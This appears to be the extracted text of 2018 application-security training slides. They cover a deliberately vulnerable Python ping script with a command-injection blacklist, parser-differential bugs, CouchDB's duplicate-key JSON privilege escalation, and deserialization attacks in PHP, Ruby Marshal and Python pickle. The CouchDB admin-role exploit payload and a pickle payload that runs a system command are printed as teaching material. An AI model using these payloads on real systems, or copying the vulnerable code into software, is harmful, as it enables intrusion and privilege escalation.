Day 2
Jörn Schneeweisz
© 2018
import re
import os
import fileinput
# this thing does securely ping
print("Gimme a host: " , end='',flush = True)
for line in fileinput.input():
# reject invalid (hacker!!) input
if re.search('[;\'&{}<>|]', line):
print("no thanks!")
exit()
print("[*] pinging in progress")
os.system("ping -c 2 %s" % line )
print("[*] pinging done")
print("Gimme a host: " , end='',flush = True)
What helps tackling such monster?
git clone https://tinyurl.com/buzzfizz
;)
When two parsers yield different results for the same input things might go wrong™️
irb(main):003:0> IPAddr.new('::1')
=> #<IPAddr: IPv6:0000:0000:0000:0000:0000:0000:0000:0001/ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff>
irb(main):006:0> IPAddr.new('::1') == IPAddr.new('127.0.0.1')
=> false
irb(main):007:0> IPAddr.new('::1') == IPAddr.new('0::23')
=> false
irb(main):008:0> IPAddr.new('::1') == IPAddr.new('0000::1')
=> true
^::1$
Vulnerability found by Max Justicz
CouchDB implements authorization checks in JavaScript. Storage within the DB is implemented in Erlang.
JavaScript’s JSON.parse()
will return the last value on duplicate keys:
CouchDB uses the Jiffy within the Erlang part to parse JSON input:
jiffy:decode("{\"foo\":\"bar\", \"foo\":\"baz\"}").
{[{<<"foo">>,<<"bar">>},{<<"foo">>,<<"baz">>}]}
Exploit Payload:
{
"type": "user",
"name": "richter",
"roles": ["_admin"],
"roles": [],
"password": "password"
}
XML Canonicalization:
Issue found by Duo Labs
Python defusedxml
:
element: NameID
|_ text: klud
|_ comment: a comment?
|_ text: wig
__wakeup
(PHP) or marshal_load
get invoked to perform custom deserialization tasksunserialize($user_input)
php > echo serialize(["hello","world",true,[1,2,"1337"]]);
a:4:{i:0;s:5:"hello";i:1;s:5:"world";i:2;b:1;i:3;a:3:{i:0;i:1;i:1;i:2;i:2;s:4:"1337";}}
“Magic” methods can be used to get to RCE.
Keep an eye on:
All serializable classes that the current classloader can locate and load might get deserialized
Further reading:
In Ruby Marshal
is used to
str = Marshal.dump(obj)
)and
obj = Marshal.load(str)
) Objects.irb(main):001:0> foo = ["Some funky string",{"a hash"=>1337}]
=> ["Some funky string", {"a hash"=>1337}]
irb(main):002:0> Marshal.dump foo
=> "\x04\b[\aI\"\x16Some funky string\x06:\x06ET{\x06I\"\va
hash\x06;\x00Ti\x029\x05"
class DeprecatedInstanceVariableProxy < DeprecationProxy
def initialize(instance, method, var = "@#{method}",
deprecator = ActiveSupport::Deprecation.instance)
@instance = instance
@method = method
@var = var
@deprecator = deprecator
end
private
def target
@instance.__send__(@method)
end
def warn(callstack, called, args)
[...]
end
end
Parent class DeprecationProxy
def method_missing(called, *args, &block)
warn caller, called, args
target.__send__(called, *args, &block)
end
Credits: charliesome
Python pickle
Warning
The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
Use __reduce__
for generating payloads.
In [4]: pickle.dumps(Payload())
Out[4]: b'\x80\x03cposix\nsystem\nq\x00X\x02\x00\x00\x00idq\x01\x85q\x02Rq\x03.'